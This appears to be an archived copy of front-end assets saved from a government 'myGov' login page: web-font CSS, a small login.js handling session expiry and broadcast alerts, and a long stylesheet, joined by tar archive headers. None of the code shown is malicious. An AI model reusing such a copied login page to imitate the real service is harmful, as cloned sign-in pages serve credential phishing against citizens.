@font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } mygov/app/login_files/login.js.download000064400000003030151676702570014247 0ustar00setTimeout(function(){window.location="/mygov/content/html/session-expired.html";},1740000);function priorityLookup(levelName){switch(levelName){case"high":return 1;case"medium":return 2;case"low":return 3;default:return 4;}}function compareDates(firstDate,secondDate){firstDate=new Date(firstDate);secondDate=new Date(secondDate);return firstDate<secondDate?1:-1;}function getTopAlert(entries){var sortedAlerts=entries.sort(function(firstEntry,secondEntry){if(priorityLookup(firstEntry.priority)===priorityLookup(secondEntry.priority)){return compareDates(firstEntry.modified,secondEntry.modified);}return priorityLookup(firstEntry.priority)>priorityLookup(secondEntry.priority)?1:-1;});return sortedAlerts[0];}function getTopBroadcast(entries){var sortedBroadcasts=entries.sort(function(firstEntry,secondEntry){return compareDates(firstEntry.modified,secondEntry.modified);});return sortedBroadcasts[0];}function displayBroadcast(alert){if(alert&&alert.body){$(".emergency-text").html(alert.body);$(".emergency-text").find("a").attr("target","_blank");$(".emergency-information").css({height:"auto",padding:"17px 5px"});}}$(document).ready(function(){var url=$("#govcms-endpoint").val();var clientId=$("#govcms-client-id").val();var apiVersion=$("#govcms-api-version").val();if(url&&clientId&&apiVersion){fetch(url,{headers:{"x-caas-client-id":clientId,"x-caas-version":apiVersion,"Cache-Control":"no-cache"}}).then(function(resp){return resp.json();}).then(function(data){if(data&&data.broadcasts){displayBroadcast(getTopBroadcast(data.broadcasts));}});}});mygov/app/login_files/mgv2-application.css000064400000364774151676702570014712 0ustar00.pathway-link-item:focus,.alert-link .alert-link-arrow:focus,.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active,.button-main-mapwap:focus,.button-main-mapwap:active,.anchor:focus,.button-back:focus,.button-close:focus,form [type='radio']:focus+label,form [type='checkbox']:focus+label,button:focus,input:focus,optgroup:focus,select:focus,textarea:focus,.chosen-container:focus,.chosen-select:focus,body a:focus,body .non-transition-link:focus,footer[role='contentinfo'] a:focus,footer[role='contentinfo'] .non-transition-link:focus,.link-arrow:focus,.menu-hitbox:focus,.outage .expand:focus{outline:3px solid #666;outline-offset:2px}.pathway-link-item:focus,.alert-link .alert-link-arrow:focus{outline-offset:-1px}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}html{box-sizing:border-box}*,*::after,*::before{box-sizing:inherit}[type='checkbox']+label[for="same-as-residential"]{display:block;margin-top:30px}.raet-container{display:block;position:relative;width:auto;width:100%;line-height:1.3em}.raet-line{overflow:visible;width:100%;margin:.75em 0 0;box-sizing:border-box;-webkit-transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;height:auto;opacity:1}.raet-line:first-child{margin-top:0}.raet-line:focus{color:blue}.raet-message-success{color:#009b27;background-color:#effbf2;border:1px solid #009b27}.raet-message-fail{color:#bd6400;background-color:#ffffef;border:1px solid #bd6400}.raet-button{display:inline-block;font-size:1em;display:none;cursor:pointer;margin:0 3px;color:#007373;background:#e4efef;border:1px solid #007373}.raet-button:hover{color:black;background:#e2e2e2;border-color:black}.raet-container .raet-singleLine-input{width:100%}.raet-inlineWrapper{position:relative;display:inline-block;margin-bottom:6px!important;max-width:42em}.raet-inlineWrapper>input{box-sizing:border-box}.raet-dropDown{position:absolute;font-size:1em;display:none;left:0;right:0;z-index:1;max-height:425px;overflow:auto;list-style:none;margin:0;padding:0;background:white;border:1px solid grey;box-sizing:border-box;width:100%}.raet-dropDown li{cursor:pointer;padding:.9em .5em .3em;color:#555;min-height:1em}.raet-dropDown .additionalInfo{font-size:.9em;padding-left:1em;line-height:1.75em;text-transform:uppercase}.raet-dropDown strong{color:black}.raet-dropDown li:hover{background-color:#f5f5f5}.raet-dropDown .selected{background-color:#eee}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg)}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.raet-spinner{pointer-events:none;display:block;position:absolute;top:0;right:0;border-radius:10px;border:3px solid #aaa;background:white;border-left-color:white;border-right-color:white;margin:3px;opacity:0;-webkit-transition:200ms linear opacity;transition:200ms linear opacity;-webkit-animation:rotate .9s linear infinite;animation:rotate .9s linear infinite}input::-ms-clear{width:0;height:0}.raet-aria-status{border:0 none;clip:rect(0,0,0,0);height:1px;width:1px;margin:-1px;overflow:hidden;padding:0;position:absolute}.raet-inputWrapper>input{width:100%;box-sizing:border-box}.raet-container input,.raet-container select{border:1px solid #969696}#raetDiv-home>div:nth-child(2){display:none}#raetDiv-postal>div:nth-child(2){display:none}/*! Chosen, a Select Box Enhancer for jQuery and Prototype by Patrick Filler for Harvest, http://getharvest.com Version 1.6.2 Full source at https://github.com/harvesthq/chosen Copyright (c) 2011-2016 Harvest http://getharvest.com MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md This file is generated by `grunt build`, do not edit it by hand. */.chosen-container{position:relative;display:block;vertical-align:middle;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.chosen-container *{box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;left:-9999px;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff}.chosen-container.chosen-with-drop .chosen-drop{left:0}.chosen-container a{cursor:pointer}.chosen-container .search-choice .group-name,.chosen-container .chosen-single .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:normal;color:#999}.chosen-container .search-choice .group-name:after,.chosen-container .chosen-single .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:.7em;border:1px solid #999;background-color:#fff;background-clip:padding-box;text-decoration:none;white-space:nowrap;line-height:1.15;margin-top:.4em}.chosen-container-single .chosen-single:hover{color:#333}.chosen-container-single .chosen-default{color:#333}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;white-space:nowrap;color:#333}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:40%;right:26px;display:block;width:12px;height:12px;background:url("../icons/chosen-sprite.png") -42px 1px no-repeat;font-size:1px;color:#333}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:25%;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../icons/chosen-sprite.png") no-repeat 0 2px;color:#333}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type="text"]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:white url("../icons/chosen-sprite.png") no-repeat 100% -20px;background:url("../icons/chosen-sprite.png") no-repeat 100% -20px;font-size:1rem;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;left:-9999px}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#0f6493;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:bold;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:transparent}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb}.chosen-container-active .chosen-choices li.search-field input[type="text"]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type="text"]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single-nosearch .chosen-search,.chosen-rtl .chosen-drop{left:9999px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:0}.chosen-rtl .chosen-search input[type="text"]{padding:4px 5px 4px 20px;background:white url("../icons/chosen-sprite.png") no-repeat -30px -20px;background:url("../icons/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-rtl .chosen-search input[type="text"],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-container-single .chosen-search input[type="text"],.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span{background-image:url("../icons/chosen-sprite@2x.png")!important;background-size:52px 37px!important;background-repeat:no-repeat!important}}.pincode-input-container{display:inline-block}.pincode-input-container input.first{border-top-right-radius:0;border-bottom-right-radius:0}.pincode-input-container input.last{border-top-left-radius:0;border-bottom-left-radius:0;border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:34px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:20px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:120px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}html{color:#333;line-height:1.6;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:400}body{font-size:1.125rem}h1,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title,h4{line-height:1.4;font-weight:400;margin-bottom:.4em}h1{font-size:1.75rem;font-weight:700;margin-bottom:0}h1:first-of-type{margin-top:1.5rem}h2,.display{font-size:1.375rem;line-height:1.2;margin-bottom:.5em}h2:first-of-type,.display:first-of-type{margin-top:1.2em}h2.bold,.bold.display{font-weight:700}h2.bold:nth-of-type(2n),.bold.display:nth-of-type(2n){margin-top:2em}h3,#poro-form #modal-title,.poro-form #modal-title{font-size:1.125rem;font-weight:700;margin-bottom:.8em}h4,h5,h6{font-size:1rem;font-weight:700}@media screen and (min-width:992px){.content-main h1,.content-main h2,.content-main .display,.content-main h3,.content-main #poro-form #modal-title,#poro-form .content-main #modal-title,.content-main .poro-form #modal-title,.poro-form .content-main #modal-title,.content-main h4,.content-main h5,.content-main p,.content-main li,.content-main dl{max-width:38rem}.content-main .content-full-width{max-width:none;width:100%}}strong{font-weight:700}strong.very-bold{font-weight:700}hr{border:1px solid #999;border-bottom:0;margin-bottom:0}ul,ol{padding-left:2.4em}ul ul,ol ul{list-style-type:disc}ul,ol,dl,p,dt,dd{margin-bottom:1rem;line-height:1.6em}li{margin-bottom:.53333em}li ul,li ol{margin-bottom:0}ul.no-bullets{list-style-type:none;margin:0;padding-left:1.2em}dt{display:inline-block;font-weight:700}dt:first-of-type{margin-top:0}.callout,.callout--warning{margin:1.6em .8em;padding:1.2em 1.2em 1.2em 1.6em;border-radius:1px;box-shadow:0 0 8px #ccc}.callout--warning{border-left:.4em solid #b7202d;padding-left:1.2em}.badge--default{display:inline-block;background-color:#999;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--error{display:inline-block;background-color:#b7202d;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--success{display:inline-block;background-color:#026540;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:#e7fff6;font-size:.875rem}article h1:first-of-type{margin-top:0}.is-visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;background-color:#fff!important;color:#333!important}.visiblity-hidden{visibility:hidden}.hidden{display:none}.ua-notification{display:block;padding:.8em;text-align:center;background-color:#f80;color:#333;font-size:1.0625rem;margin-bottom:0}@media print{*,*::before,*::after,*::first-letter ,*::first-line {background:transparent;color:#333;box-shadow:none;text-shadow:none}a,a:visited{text-decoration:underline}a[href]::after{content:" (" attr(href) ")"}abbr[title]::after{content:" (" attr(title) ")"}a[href^='#']::after,a[href^='javascript:']::after{content:''}pre,blockquote{border:1px solid #ccc;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%}p,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{orphans:3;widows:3}h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{page-break-after:avoid}}html{height:100%;min-width:300px}body{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;height:100%}body>header,body>footer{-webkit-box-flex:0;-webkit-flex:none;-ms-flex:none;flex:none}body>.wrapper,.wrapper-mapwap,.wrapper-integration,.wrapper-integration-mapwap{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;width:100%;display:inline-block}body>.wrapper::after,.wrapper-mapwap::after,.wrapper-integration::after,.wrapper-integration-mapwap::after{content:'\00a0';height:0;visibility:hidden}@media screen and 